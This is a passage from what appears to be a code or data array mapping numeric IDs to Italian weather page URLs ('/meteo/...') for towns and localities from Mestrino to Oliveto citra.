\"/meteo/Mestrino\",4042 => \"/meteo/Meta\",8104 => \"/meteo/Metaponto\",4043 => \"/meteo/Meugliano\",4044 => \"/meteo/Mezzago\",4045 => \"/meteo/Mezzana\",4046 => \"/meteo/Mezzana+bigli\",4047 => \"/meteo/Mezzana+mortigliengo\",4048 => \"/meteo/Mezzana+rabattone\",4049 => \"/meteo/Mezzane+di+sotto\",4050 => \"/meteo/Mezzanego\",4051 => \"/meteo/Mezzani\",4052 => \"/meteo/Mezzanino\",4053 => \"/meteo/Mezzano\",4054 => \"/meteo/Mezzegra\",4055 => \"/meteo/Mezzenile\",4056 => \"/meteo/Mezzocorona\",4057 => \"/meteo/Mezzojuso\",4058 => \"/meteo/Mezzoldo\",4059 => \"/meteo/Mezzolombardo\",4060 => \"/meteo/Mezzomerico\",8524 => \"/meteo/MI+Olgettina\",8526 => \"/meteo/MI+Primaticcio\",8527 => \"/meteo/MI+Silla\",8525 => \"/meteo/MI+Zama\",4061 => \"/meteo/Miagliano\",4062 => \"/meteo/Miane\",4063 => \"/meteo/Miasino\",4064 => \"/meteo/Miazzina\",4065 => \"/meteo/Micigliano\",4066 => \"/meteo/Miggiano\",4067 => \"/meteo/Miglianico\",4068 => \"/meteo/Migliarino\",4069 => \"/meteo/Migliaro\",4070 => \"/meteo/Miglierina\",4071 => \"/meteo/Miglionico\",4072 => \"/meteo/Mignanego\",4073 => \"/meteo/Mignano+monte+lungo\",4074 => \"/meteo/Milano\",8495 => \"/meteo/Milano+Linate\",8496 => \"/meteo/Milano+Malpensa\",8240 => \"/meteo/Milano+marittima\",4075 => \"/meteo/Milazzo\",4076 => \"/meteo/Milena\",4077 => \"/meteo/Mileto\",4078 => \"/meteo/Milis\",4079 => \"/meteo/Militello+in+val+di+catania\",4080 => \"/meteo/Militello+rosmarino\",4081 => \"/meteo/Millesimo\",4082 => \"/meteo/Milo\",4083 => \"/meteo/Milzano\",4084 => \"/meteo/Mineo\",4085 => \"/meteo/Minerbe\",4086 => \"/meteo/Minerbio\",4087 => \"/meteo/Minervino+di+lecce\",4088 => \"/meteo/Minervino+murge\",4089 => \"/meteo/Minori\",4090 => \"/meteo/Minturno\",4091 => \"/meteo/Minucciano\",4092 => \"/meteo/Mioglia\",4093 => \"/meteo/Mira\",4094 => \"/meteo/Mirabella+eclano\",4095 => \"/meteo/Mirabella+imbaccari\",4096 => \"/meteo/Mirabello\",4097 => \"/meteo/Mirabello+monferrato\",4098 => \"/meteo/Mirabello+sannitico\",4099 => \"/meteo/Miradolo+terme\",4100 => \"/meteo/Miranda\",4101 => \"/meteo/Mirandola\",4102 => \"/meteo/Mirano\",4103 => \"/meteo/Mirto\",4104 => \"/meteo/Misano+adriatico\",4105 => \"/meteo/Misano+di+gera+d'adda\",4106 => \"/meteo/Misilmeri\",4107 => \"/meteo/Misinto\",4108 => \"/meteo/Missaglia\",8416 => \"/meteo/Missanello\",4110 => \"/meteo/Misterbianco\",4111 => \"/meteo/Mistretta\",8623 => \"/meteo/Misurina\",4112 => \"/meteo/Moasca\",4113 => \"/meteo/Moconesi\",4114 => \"/meteo/Modena\",4115 => \"/meteo/Modica\",4116 => \"/meteo/Modigliana\",4117 => \"/meteo/Modolo\",4118 => \"/meteo/Modugno\",4119 => \"/meteo/Moena\",4120 => \"/meteo/Moggio\",4121 => \"/meteo/Moggio+udinese\",4122 => \"/meteo/Moglia\",4123 => \"/meteo/Mogliano\",4124 => \"/meteo/Mogliano+veneto\",4125 => \"/meteo/Mogorella\",4126 => \"/meteo/Mogoro\",4127 => \"/meteo/Moiano\",8615 => \"/meteo/Moie\",4128 => \"/meteo/Moimacco\",4129 => \"/meteo/Moio+Alcantara\",4130 => \"/meteo/Moio+de'calvi\",4131 => \"/meteo/Moio+della+civitella\",4132 => \"/meteo/Moiola\",4133 => \"/meteo/Mola+di+bari\",4134 => \"/meteo/Molare\",4135 => \"/meteo/Molazzana\",4136 => \"/meteo/Molfetta\",4137 => \"/meteo/Molina+aterno\",4138 => \"/meteo/Molina+di+ledro\",4139 => \"/meteo/Molinara\",4140 => \"/meteo/Molinella\",4141 => \"/meteo/Molini+di+triora\",4142 => \"/meteo/Molino+dei+torti\",4143 => \"/meteo/Molise\",4144 => \"/meteo/Moliterno\",4145 => \"/meteo/Mollia\",4146 => \"/meteo/Molochio\",4147 => \"/meteo/Molteno\",4148 => \"/meteo/Moltrasio\",4149 => \"/meteo/Molvena\",4150 => \"/meteo/Molveno\",4151 => \"/meteo/Mombaldone\",4152 => \"/meteo/Mombarcaro\",4153 => \"/meteo/Mombaroccio\",4154 => \"/meteo/Mombaruzzo\",4155 => \"/meteo/Mombasiglio\",4156 => \"/meteo/Mombello+di+torino\",4157 => \"/meteo/Mombello+monferrato\",4158 => \"/meteo/Mombercelli\",4159 => \"/meteo/Momo\",4160 => \"/meteo/Mompantero\",4161 => \"/meteo/Mompeo\",4162 => \"/meteo/Momperone\",4163 => \"/meteo/Monacilioni\",4164 => \"/meteo/Monale\",4165 => \"/meteo/Monasterace\",4166 => \"/meteo/Monastero+bormida\",4167 => \"/meteo/Monastero+di+lanzo\",4168 => \"/meteo/Monastero+di+vasco\",4169 => \"/meteo/Monasterolo+casotto\",4170 => \"/meteo/Monasterolo+del+castello\",4171 => \"/meteo/Monasterolo+di+savigliano\",4172 => \"/meteo/Monastier+di+treviso\",4173 => \"/meteo/Monastir\",4174 => \"/meteo/Moncalieri\",4175 => \"/meteo/Moncalvo\",4176 => \"/meteo/Moncenisio\",4177 => \"/meteo/Moncestino\",4178 => \"/meteo/Monchiero\",4179 => \"/meteo/Monchio+delle+corti\",4180 => \"/meteo/Monclassico\",4181 => \"/meteo/Moncrivello\",8649 => \"/meteo/Moncucco\",4182 => \"/meteo/Moncucco+torinese\",4183 => \"/meteo/Mondaino\",4184 => \"/meteo/Mondavio\",4185 => \"/meteo/Mondolfo\",4186 => \"/meteo/Mondovi'\",4187 => \"/meteo/Mondragone\",4188 => \"/meteo/Moneglia\",8143 => \"/meteo/Monesi\",4189 => \"/meteo/Monesiglio\",4190 => \"/meteo/Monfalcone\",4191 => \"/meteo/Monforte+d'alba\",4192 => \"/meteo/Monforte+san+giorgio\",4193 => \"/meteo/Monfumo\",4194 => \"/meteo/Mongardino\",4195 => \"/meteo/Monghidoro\",4196 => \"/meteo/Mongiana\",4197 => \"/meteo/Mongiardino+ligure\",8637 => \"/meteo/Monginevro+Montgenevre\",4198 => \"/meteo/Mongiuffi+melia\",4199 => \"/meteo/Mongrando\",4200 => \"/meteo/Mongrassano\",4201 => \"/meteo/Monguelfo\",4202 => \"/meteo/Monguzzo\",4203 => \"/meteo/Moniga+del+garda\",4204 => \"/meteo/Monleale\",4205 => \"/meteo/Monno\",4206 => \"/meteo/Monopoli\",4207 => \"/meteo/Monreale\",4208 => \"/meteo/Monrupino\",4209 => \"/meteo/Monsampietro+morico\",4210 => \"/meteo/Monsampolo+del+tronto\",4211 => \"/meteo/Monsano\",4212 => \"/meteo/Monselice\",4213 => \"/meteo/Monserrato\",4214 => \"/meteo/Monsummano+terme\",4215 => \"/meteo/Monta'\",4216 => \"/meteo/Montabone\",4217 => \"/meteo/Montacuto\",4218 => \"/meteo/Montafia\",4219 => \"/meteo/Montagano\",4220 => \"/meteo/Montagna\",4221 => \"/meteo/Montagna+in+valtellina\",8301 => \"/meteo/Montagnana\",4223 => \"/meteo/Montagnareale\",4224 => \"/meteo/Montagne\",4225 => \"/meteo/Montaguto\",4226 => \"/meteo/Montaione\",4227 => \"/meteo/Montalbano+Elicona\",4228 => \"/meteo/Montalbano+jonico\",4229 => \"/meteo/Montalcino\",4230 => \"/meteo/Montaldeo\",4231 => \"/meteo/Montaldo+bormida\",4232 => \"/meteo/Montaldo+di+mondovi'\",4233 => \"/meteo/Montaldo+roero\",4234 => \"/meteo/Montaldo+scarampi\",4235 => \"/meteo/Montaldo+torinese\",4236 => \"/meteo/Montale\",4237 => \"/meteo/Montalenghe\",4238 => \"/meteo/Montallegro\",4239 => \"/meteo/Montalto+delle+marche\",4240 => \"/meteo/Montalto+di+castro\",4241 => \"/meteo/Montalto+dora\",4242 => \"/meteo/Montalto+ligure\",4243 => \"/meteo/Montalto+pavese\",4244 => \"/meteo/Montalto+uffugo\",4245 => \"/meteo/Montanaro\",4246 => \"/meteo/Montanaso+lombardo\",4247 => \"/meteo/Montanera\",4248 => \"/meteo/Montano+antilia\",4249 => \"/meteo/Montano+lucino\",4250 => \"/meteo/Montappone\",4251 => \"/meteo/Montaquila\",4252 => \"/meteo/Montasola\",4253 => \"/meteo/Montauro\",4254 => \"/meteo/Montazzoli\",8738 => \"/meteo/Monte+Alben\",8350 => \"/meteo/Monte+Amiata\",4255 => \"/meteo/Monte+Argentario\",8696 => \"/meteo/Monte+Avena\",8660 => \"/meteo/Monte+Baldo\",8251 => \"/meteo/Monte+Belvedere\",8720 => \"/meteo/Monte+Bianco\",8292 => \"/meteo/Monte+Bondone\",8757 => \"/meteo/Monte+Caio\",8149 => \"/meteo/Monte+Campione\",4256 => \"/meteo/Monte+Castello+di+Vibio\",4257 => \"/meteo/Monte+Cavallo\",4258 => \"/meteo/Monte+Cerignone\",8722 => \"/meteo/Monte+Cervino\",8533 => \"/meteo/Monte+Cimone\",4259 => \"/meteo/Monte+Colombo\",8658 => \"/meteo/Monte+Cornizzolo\",4260 => \"/meteo/Monte+Cremasco\",4261 => \"/meteo/Monte+di+Malo\",4262 => \"/meteo/Monte+di+Procida\",8581 => \"/meteo/Monte+Elmo\",8701 => \"/meteo/Monte+Faloria\",4263 => \"/meteo/Monte+Giberto\",8486 => \"/meteo/Monte+Gomito\",8232 => \"/meteo/Monte+Grappa\",4264 => \"/meteo/Monte+Isola\",8735 => \"/meteo/Monte+Legnone\",8631 => \"/meteo/Monte+Livata\",8574 => \"/meteo/Monte+Lussari\",8484 => \"/meteo/Monte+Malanotte\",4265 => \"/meteo/Monte+Marenzo\",8611 => \"/meteo/Monte+Matajur\",8732 => \"/meteo/Monte+Matto\",8266 => \"/meteo/Monte+Moro\",8697 => \"/meteo/Monte+Mucrone\",8619 => \"/meteo/Monte+Pigna\",8288 => \"/meteo/Monte+Pora+Base\",8310 => \"/meteo/Monte+Pora+Cima\",4266 => \"/meteo/Monte+Porzio\",4267 => \"/meteo/Monte+Porzio+Catone\",8608 => \"/meteo/Monte+Prata\",8320 => \"/meteo/Monte+Pratello\",4268 => \"/meteo/Monte+Rinaldo\",4269 => \"/meteo/Monte+Roberto\",4270 => \"/meteo/Monte+Romano\",4271 => \"/meteo/Monte+San+Biagio\",4272 => \"/meteo/Monte+San+Giacomo\",4273 => \"/meteo/Monte+San+Giovanni+Campano\",4274 => \"/meteo/Monte+San+Giovanni+in+Sabina\",4275 => \"/meteo/Monte+San+Giusto\",4276 => \"/meteo/Monte+San+Martino\",4277 => \"/meteo/Monte+San+Pietrangeli\",4278 => \"/meteo/Monte+San+Pietro\",8538 => \"/meteo/Monte+San+Primo\",4279 => \"/meteo/Monte+San+Savino\",8652 => \"/meteo/Monte+San+Vigilio\",4280 => \"/meteo/Monte+San+Vito\",4281 => \"/meteo/Monte+Sant'Angelo\",4282 => \"/meteo/Monte+Santa+Maria+Tiberina\",8570 => \"/meteo/Monte+Scuro\",8278 => \"/meteo/Monte+Spinale\",4283 => \"/meteo/Monte+Urano\",8758 => \"/meteo/Monte+Ventasso\",4284 => \"/meteo/Monte+Vidon+Combatte\",4285 => \"/meteo/Monte+Vidon+Corrado\",8729 => \"/meteo/Monte+Volturino\",8346 => \"/meteo/Monte+Zoncolan\",4286 => \"/meteo/Montebello+della+Battaglia\",4287 => \"/meteo/Montebello+di+Bertona\",4288 => \"/meteo/Montebello+Ionico\",4289 => \"/meteo/Montebello+sul+Sangro\",4290 => \"/meteo/Montebello+Vicentino\",4291 => \"/meteo/Montebelluna\",4292 => \"/meteo/Montebruno\",4293 => \"/meteo/Montebuono\",4294 => \"/meteo/Montecalvo+in+Foglia\",4295 => \"/meteo/Montecalvo+Irpino\",4296 => \"/meteo/Montecalvo+Versiggia\",4297 => \"/meteo/Montecarlo\",4298 => \"/meteo/Montecarotto\",4299 => \"/meteo/Montecassiano\",4300 => \"/meteo/Montecastello\",4301 => \"/meteo/Montecastrilli\",4303 => \"/meteo/Montecatini+terme\",4302 => \"/meteo/Montecatini+Val+di+Cecina\",4304 => \"/meteo/Montecchia+di+Crosara\",4305 => \"/meteo/Montecchio\",4306 => \"/meteo/Montecchio+Emilia\",4307 => \"/meteo/Montecchio+Maggiore\",4308 => \"/meteo/Montecchio+Precalcino\",4309 => \"/meteo/Montechiaro+d'Acqui\",4310 => \"/meteo/Montechiaro+d'Asti\",4311 => \"/meteo/Montechiarugolo\",4312 => \"/meteo/Monteciccardo\",4313 => \"/meteo/Montecilfone\",4314 => \"/meteo/Montecompatri\",4315 => \"/meteo/Montecopiolo\",4316 => \"/meteo/Montecorice\",4317 => \"/meteo/Montecorvino+Pugliano\",4318 => \"/meteo/Montecorvino+Rovella\",4319 => \"/meteo/Montecosaro\",4320 => \"/meteo/Montecrestese\",4321 => \"/meteo/Montecreto\",4322 => \"/meteo/Montedinove\",4323 => \"/meteo/Montedoro\",4324 => \"/meteo/Montefalcione\",4325 => \"/meteo/Montefalco\",4326 => \"/meteo/Montefalcone+Appennino\",4327 => \"/meteo/Montefalcone+di+Val+Fortore\",4328 => \"/meteo/Montefalcone+nel+Sannio\",4329 => \"/meteo/Montefano\",4330 => \"/meteo/Montefelcino\",4331 => \"/meteo/Monteferrante\",4332 => \"/meteo/Montefiascone\",4333 => \"/meteo/Montefino\",4334 => \"/meteo/Montefiore+conca\",4335 => \"/meteo/Montefiore+dell'Aso\",4336 => \"/meteo/Montefiorino\",4337 => \"/meteo/Monteflavio\",4338 => \"/meteo/Monteforte+Cilento\",4339 => \"/meteo/Monteforte+d'Alpone\",4340 => \"/meteo/Monteforte+Irpino\",4341 => \"/meteo/Montefortino\",4342 => \"/meteo/Montefranco\",4343 => \"/meteo/Montefredane\",4344 => \"/meteo/Montefusco\",4345 => \"/meteo/Montegabbione\",4346 => \"/meteo/Montegalda\",4347 => \"/meteo/Montegaldella\",4348 => \"/meteo/Montegallo\",4349 => \"/meteo/Montegioco\",4350 => \"/meteo/Montegiordano\",4351 => \"/meteo/Montegiorgio\",4352 => \"/meteo/Montegranaro\",4353 => \"/meteo/Montegridolfo\",4354 => \"/meteo/Montegrimano\",4355 => \"/meteo/Montegrino+valtravaglia\",4356 => \"/meteo/Montegrosso+d'Asti\",4357 => \"/meteo/Montegrosso+pian+latte\",4358 => \"/meteo/Montegrotto+terme\",4359 => \"/meteo/Monteiasi\",4360 => \"/meteo/Montelabbate\",4361 => \"/meteo/Montelanico\",4362 => \"/meteo/Montelapiano\",4363 => \"/meteo/Monteleone+d'orvieto\",4364 => \"/meteo/Monteleone+di+fermo\",4365 => \"/meteo/Monteleone+di+puglia\",4366 => \"/meteo/Monteleone+di+spoleto\",4367 => \"/meteo/Monteleone+rocca+doria\",4368 => \"/meteo/Monteleone+sabino\",4369 => \"/meteo/Montelepre\",4370 => \"/meteo/Montelibretti\",4371 => \"/meteo/Montella\",4372 => \"/meteo/Montello\",4373 => \"/meteo/Montelongo\",4374 => \"/meteo/Montelparo\",4375 => \"/meteo/Montelupo+albese\",4376 => \"/meteo/Montelupo+fiorentino\",4377 => \"/meteo/Montelupone\",4378 => \"/meteo/Montemaggiore+al+metauro\",4379 => \"/meteo/Montemaggiore+belsito\",4380 => \"/meteo/Montemagno\",4381 => \"/meteo/Montemale+di+cuneo\",4382 => \"/meteo/Montemarano\",4383 => \"/meteo/Montemarciano\",4384 => \"/meteo/Montemarzino\",4385 => \"/meteo/Montemesola\",4386 => \"/meteo/Montemezzo\",4387 => \"/meteo/Montemignaio\",4388 => \"/meteo/Montemiletto\",8401 => \"/meteo/Montemilone\",4390 => \"/meteo/Montemitro\",4391 => \"/meteo/Montemonaco\",4392 => \"/meteo/Montemurlo\",8408 => \"/meteo/Montemurro\",4394 => \"/meteo/Montenars\",4395 => \"/meteo/Montenero+di+bisaccia\",4396 => \"/meteo/Montenero+sabino\",4397 => \"/meteo/Montenero+val+cocchiara\",4398 => \"/meteo/Montenerodomo\",4399 => \"/meteo/Monteodorisio\",4400 => \"/meteo/Montepaone\",4401 => \"/meteo/Monteparano\",8296 => \"/meteo/Montepiano\",4402 => \"/meteo/Monteprandone\",4403 => \"/meteo/Montepulciano\",4404 => \"/meteo/Monterado\",4405 => \"/meteo/Monterchi\",4406 => \"/meteo/Montereale\",4407 => \"/meteo/Montereale+valcellina\",4408 => \"/meteo/Monterenzio\",4409 => \"/meteo/Monteriggioni\",4410 => \"/meteo/Monteroduni\",4411 => \"/meteo/Monteroni+d'arbia\",4412 => \"/meteo/Monteroni+di+lecce\",4413 => \"/meteo/Monterosi\",4414 => \"/meteo/Monterosso+al+mare\",4415 => \"/meteo/Monterosso+almo\",4416 => \"/meteo/Monterosso+calabro\",4417 => \"/meteo/Monterosso+grana\",4418 => \"/meteo/Monterotondo\",4419 => \"/meteo/Monterotondo+marittimo\",4420 => \"/meteo/Monterubbiano\",4421 => \"/meteo/Montesano+salentino\",4422 => \"/meteo/Montesano+sulla+marcellana\",4423 => \"/meteo/Montesarchio\",8389 => \"/meteo/Montescaglioso\",4425 => \"/meteo/Montescano\",4426 => \"/meteo/Montescheno\",4427 => \"/meteo/Montescudaio\",4428 => \"/meteo/Montescudo\",4429 => \"/meteo/Montese\",4430 => \"/meteo/Montesegale\",4431 => \"/meteo/Montesilvano\",8491 => \"/meteo/Montesilvano+Marina\",4432 => \"/meteo/Montespertoli\",1730 => \"/meteo/Montespluga\",4433 => \"/meteo/Monteu+da+Po\",4434 => \"/meteo/Monteu+roero\",4435 => \"/meteo/Montevago\",4436 => \"/meteo/Montevarchi\",4437 => \"/meteo/Montevecchia\",4438 => \"/meteo/Monteveglio\",4439 => \"/meteo/Monteverde\",4440 => \"/meteo/Monteverdi+marittimo\",8589 => \"/meteo/Montevergine\",4441 => \"/meteo/Monteviale\",4442 => \"/meteo/Montezemolo\",4443 => \"/meteo/Monti\",4444 => \"/meteo/Montiano\",4445 => \"/meteo/Monticelli+brusati\",4446 => \"/meteo/Monticelli+d'ongina\",4447 => \"/meteo/Monticelli+pavese\",4448 => \"/meteo/Monticello+brianza\",4449 => \"/meteo/Monticello+conte+otto\",4450 => \"/meteo/Monticello+d'alba\",4451 => \"/meteo/Montichiari\",4452 => \"/meteo/Monticiano\",4453 => \"/meteo/Montieri\",4454 => \"/meteo/Montiglio+monferrato\",4455 => \"/meteo/Montignoso\",4456 => \"/meteo/Montirone\",4457 => \"/meteo/Montjovet\",4458 => \"/meteo/Montodine\",4459 => \"/meteo/Montoggio\",4460 => \"/meteo/Montone\",4461 => \"/meteo/Montopoli+di+sabina\",4462 => \"/meteo/Montopoli+in+val+d'arno\",4463 => \"/meteo/Montorfano\",4464 => \"/meteo/Montorio+al+vomano\",4465 => \"/meteo/Montorio+nei+frentani\",4466 => \"/meteo/Montorio+romano\",4467 => \"/meteo/Montoro+inferiore\",4468 => \"/meteo/Montoro+superiore\",4469 => \"/meteo/Montorso+vicentino\",4470 => \"/meteo/Montottone\",4471 => \"/meteo/Montresta\",4472 => \"/meteo/Montu'+beccaria\",8326 => \"/meteo/Montzeuc\",4473 => \"/meteo/Monvalle\",8726 => \"/meteo/Monviso\",4474 => \"/meteo/Monza\",4475 => \"/meteo/Monzambano\",4476 => \"/meteo/Monzuno\",4477 => \"/meteo/Morano+calabro\",4478 => \"/meteo/Morano+sul+Po\",4479 => \"/meteo/Moransengo\",4480 => \"/meteo/Moraro\",4481 => \"/meteo/Morazzone\",4482 => \"/meteo/Morbegno\",4483 => \"/meteo/Morbello\",4484 => \"/meteo/Morciano+di+leuca\",4485 => \"/meteo/Morciano+di+romagna\",4486 => \"/meteo/Morcone\",4487 => \"/meteo/Mordano\",8262 => \"/meteo/Morel\",4488 => \"/meteo/Morengo\",4489 => \"/meteo/Mores\",4490 => \"/meteo/Moresco\",4491 => \"/meteo/Moretta\",4492 => \"/meteo/Morfasso\",4493 => \"/meteo/Morgano\",8717 => \"/meteo/Morgantina\",4494 => \"/meteo/Morgex\",4495 => \"/meteo/Morgongiori\",4496 => \"/meteo/Mori\",4497 => \"/meteo/Moriago+della+battaglia\",4498 => \"/meteo/Moricone\",4499 => \"/meteo/Morigerati\",4500 => \"/meteo/Morimondo\",4501 => \"/meteo/Morino\",4502 => \"/meteo/Moriondo+torinese\",4503 => \"/meteo/Morlupo\",4504 => \"/meteo/Mormanno\",4505 => \"/meteo/Mornago\",4506 => \"/meteo/Mornese\",4507 => \"/meteo/Mornico+al+serio\",4508 => \"/meteo/Mornico+losana\",4509 => \"/meteo/Morolo\",4510 => \"/meteo/Morozzo\",4511 => \"/meteo/Morra+de+sanctis\",4512 => \"/meteo/Morro+d'alba\",4513 => \"/meteo/Morro+d'oro\",4514 => \"/meteo/Morro+reatino\",4515 => \"/meteo/Morrone+del+sannio\",4516 => \"/meteo/Morrovalle\",4517 => \"/meteo/Morsano+al+tagliamento\",4518 => \"/meteo/Morsasco\",4519 => \"/meteo/Mortara\",4520 => \"/meteo/Mortegliano\",4521 => \"/meteo/Morterone\",4522 => \"/meteo/Moruzzo\",4523 => \"/meteo/Moscazzano\",4524 => \"/meteo/Moschiano\",4525 => \"/meteo/Mosciano+sant'angelo\",4526 => \"/meteo/Moscufo\",4527 => \"/meteo/Moso+in+Passiria\",4528 => \"/meteo/Mossa\",4529 => \"/meteo/Mossano\",4530 => \"/meteo/Mosso+Santa+Maria\",4531 => \"/meteo/Motta+baluffi\",4532 => \"/meteo/Motta+Camastra\",4533 => \"/meteo/Motta+d'affermo\",4534 => \"/meteo/Motta+de'+conti\",4535 => \"/meteo/Motta+di+livenza\",4536 => \"/meteo/Motta+montecorvino\",4537 => \"/meteo/Motta+san+giovanni\",4538 => \"/meteo/Motta+sant'anastasia\",4539 => \"/meteo/Motta+santa+lucia\",4540 => \"/meteo/Motta+visconti\",4541 => \"/meteo/Mottafollone\",4542 => \"/meteo/Mottalciata\",8621 => \"/meteo/Mottarone\",4543 => \"/meteo/Motteggiana\",4544 => \"/meteo/Mottola\",8254 => \"/meteo/Mottolino\",4545 => \"/meteo/Mozzagrogna\",4546 => \"/meteo/Mozzanica\",4547 => \"/meteo/Mozzate\",4548 => \"/meteo/Mozzecane\",4549 => \"/meteo/Mozzo\",4550 => \"/meteo/Muccia\",4551 => \"/meteo/Muggia\",4552 => \"/meteo/Muggio'\",4553 => \"/meteo/Mugnano+del+cardinale\",4554 => \"/meteo/Mugnano+di+napoli\",4555 => \"/meteo/Mulazzano\",4556 => \"/meteo/Mulazzo\",4557 => \"/meteo/Mura\",4558 => \"/meteo/Muravera\",4559 => \"/meteo/Murazzano\",4560 => \"/meteo/Murello\",4561 => \"/meteo/Murialdo\",4562 => \"/meteo/Murisengo\",4563 => \"/meteo/Murlo\",4564 => \"/meteo/Muro+leccese\",4565 => \"/meteo/Muro+lucano\",4566 => \"/meteo/Muros\",4567 => \"/meteo/Muscoline\",4568 => \"/meteo/Musei\",4569 => \"/meteo/Musile+di+piave\",4570 => \"/meteo/Musso\",4571 => \"/meteo/Mussolente\",4572 => \"/meteo/Mussomeli\",4573 => \"/meteo/Muzzana+del+turgnano\",4574 => \"/meteo/Muzzano\",4575 => \"/meteo/Nago+torbole\",4576 => \"/meteo/Nalles\",4577 => \"/meteo/Nanno\",4578 => \"/meteo/Nanto\",4579 => \"/meteo/Napoli\",8498 => \"/meteo/Napoli+Capodichino\",4580 => \"/meteo/Narbolia\",4581 => \"/meteo/Narcao\",4582 => \"/meteo/Nardo'\",4583 => \"/meteo/Nardodipace\",4584 => \"/meteo/Narni\",4585 => \"/meteo/Naro\",4586 => \"/meteo/Narzole\",4587 => \"/meteo/Nasino\",4588 => \"/meteo/Naso\",4589 => \"/meteo/Naturno\",4590 => \"/meteo/Nave\",4591 => \"/meteo/Nave+san+rocco\",4592 => \"/meteo/Navelli\",4593 => \"/meteo/Naz+Sciaves\",4594 => \"/meteo/Nazzano\",4595 => \"/meteo/Ne\",4596 => \"/meteo/Nebbiuno\",4597 => \"/meteo/Negrar\",4598 => \"/meteo/Neirone\",4599 => \"/meteo/Neive\",4600 => \"/meteo/Nembro\",4601 => \"/meteo/Nemi\",8381 => \"/meteo/Nemoli\",4603 => \"/meteo/Neoneli\",4604 => \"/meteo/Nepi\",4605 => \"/meteo/Nereto\",4606 => \"/meteo/Nerola\",4607 => \"/meteo/Nervesa+della+battaglia\",4608 => \"/meteo/Nerviano\",4609 => \"/meteo/Nespolo\",4610 => \"/meteo/Nesso\",4611 => \"/meteo/Netro\",4612 => \"/meteo/Nettuno\",4613 => \"/meteo/Neviano\",4614 => \"/meteo/Neviano+degli+arduini\",4615 => \"/meteo/Neviglie\",4616 => \"/meteo/Niardo\",4617 => \"/meteo/Nibbiano\",4618 => \"/meteo/Nibbiola\",4619 => \"/meteo/Nibionno\",4620 => \"/meteo/Nichelino\",4621 => \"/meteo/Nicolosi\",4622 => \"/meteo/Nicorvo\",4623 => \"/meteo/Nicosia\",4624 => \"/meteo/Nicotera\",8117 => \"/meteo/Nicotera+Marina\",4625 => \"/meteo/Niella+belbo\",8475 => \"/meteo/Niella+Tanaro\",4627 => \"/meteo/Nimis\",4628 => \"/meteo/Niscemi\",4629 => \"/meteo/Nissoria\",4630 => \"/meteo/Nizza+di+sicilia\",4631 => \"/meteo/Nizza+monferrato\",4632 => \"/meteo/Noale\",4633 => \"/meteo/Noasca\",4634 => \"/meteo/Nocara\",4635 => \"/meteo/Nocciano\",4636 => \"/meteo/Nocera+inferiore\",4637 => \"/meteo/Nocera+superiore\",4638 => \"/meteo/Nocera+terinese\",4639 => \"/meteo/Nocera+umbra\",4640 => \"/meteo/Noceto\",4641 => \"/meteo/Noci\",4642 => \"/meteo/Nociglia\",8375 => \"/meteo/Noepoli\",4644 => \"/meteo/Nogara\",4645 => \"/meteo/Nogaredo\",4646 => \"/meteo/Nogarole+rocca\",4647 => \"/meteo/Nogarole+vicentino\",4648 => \"/meteo/Noicattaro\",4649 => \"/meteo/Nola\",4650 => \"/meteo/Nole\",4651 => \"/meteo/Noli\",4652 => \"/meteo/Nomaglio\",4653 => \"/meteo/Nomi\",4654 => \"/meteo/Nonantola\",4655 => \"/meteo/None\",4656 => \"/meteo/Nonio\",4657 => \"/meteo/Noragugume\",4658 => \"/meteo/Norbello\",4659 => \"/meteo/Norcia\",4660 => \"/meteo/Norma\",4661 => \"/meteo/Nosate\",4662 => \"/meteo/Notaresco\",4663 => \"/meteo/Noto\",4664 => \"/meteo/Nova+Levante\",4665 => \"/meteo/Nova+milanese\",4666 => \"/meteo/Nova+Ponente\",8428 => \"/meteo/Nova+siri\",4668 => \"/meteo/Novafeltria\",4669 => \"/meteo/Novaledo\",4670 => \"/meteo/Novalesa\",4671 => \"/meteo/Novara\",4672 => \"/meteo/Novara+di+Sicilia\",4673 => \"/meteo/Novate+mezzola\",4674 => \"/meteo/Novate+milanese\",4675 => \"/meteo/Nove\",4676 => \"/meteo/Novedrate\",4677 => \"/meteo/Novellara\",4678 => \"/meteo/Novello\",4679 => \"/meteo/Noventa+di+piave\",4680 => \"/meteo/Noventa+padovana\",4681 => \"/meteo/Noventa+vicentina\",4682 => \"/meteo/Novi+di+modena\",4683 => \"/meteo/Novi+ligure\",4684 => \"/meteo/Novi+velia\",4685 => \"/meteo/Noviglio\",4686 => \"/meteo/Novoli\",4687 => \"/meteo/Nucetto\",4688 => \"/meteo/Nughedu+di+san+nicolo'\",4689 => \"/meteo/Nughedu+santa+vittoria\",4690 => \"/meteo/Nule\",4691 => \"/meteo/Nulvi\",4692 => \"/meteo/Numana\",4693 => \"/meteo/Nuoro\",4694 => \"/meteo/Nurachi\",4695 => \"/meteo/Nuragus\",4696 => \"/meteo/Nurallao\",4697 => \"/meteo/Nuraminis\",4698 => \"/meteo/Nureci\",4699 => \"/meteo/Nurri\",4700 => \"/meteo/Nus\",4701 => \"/meteo/Nusco\",4702 => \"/meteo/Nuvolento\",4703 => \"/meteo/Nuvolera\",4704 => \"/meteo/Nuxis\",8260 => \"/meteo/Obereggen\",4705 => \"/meteo/Occhieppo+inferiore\",4706 => \"/meteo/Occhieppo+superiore\",4707 => \"/meteo/Occhiobello\",4708 => \"/meteo/Occimiano\",4709 => \"/meteo/Ocre\",4710 => \"/meteo/Odalengo+grande\",4711 => \"/meteo/Odalengo+piccolo\",4712 => \"/meteo/Oderzo\",4713 => \"/meteo/Odolo\",4714 => \"/meteo/Ofena\",4715 => \"/meteo/Offagna\",4716 => \"/meteo/Offanengo\",4717 => \"/meteo/Offida\",4718 => \"/meteo/Offlaga\",4719 => \"/meteo/Oggebbio\",4720 => \"/meteo/Oggiona+con+santo+stefano\",4721 => \"/meteo/Oggiono\",4722 => \"/meteo/Oglianico\",4723 => \"/meteo/Ogliastro+cilento\",4724 => \"/meteo/Olbia\",8470 => \"/meteo/Olbia+Costa+Smeralda\",4725 => \"/meteo/Olcenengo\",4726 => \"/meteo/Oldenico\",4727 => \"/meteo/Oleggio\",4728 => \"/meteo/Oleggio+castello\",4729 => \"/meteo/Olevano+di+lomellina\",4730 => \"/meteo/Olevano+romano\",4731 => \"/meteo/Olevano+sul+tusciano\",4732 => \"/meteo/Olgiate+comasco\",4733 => \"/meteo/Olgiate+molgora\",4734 => \"/meteo/Olgiate+olona\",4735 => \"/meteo/Olginate\",4736 => \"/meteo/Oliena\",4737 => \"/meteo/Oliva+gessi\",4738 => \"/meteo/Olivadi\",4739 => \"/meteo/Oliveri\",4740 => \"/meteo/Oliveto+citra\",4741 => 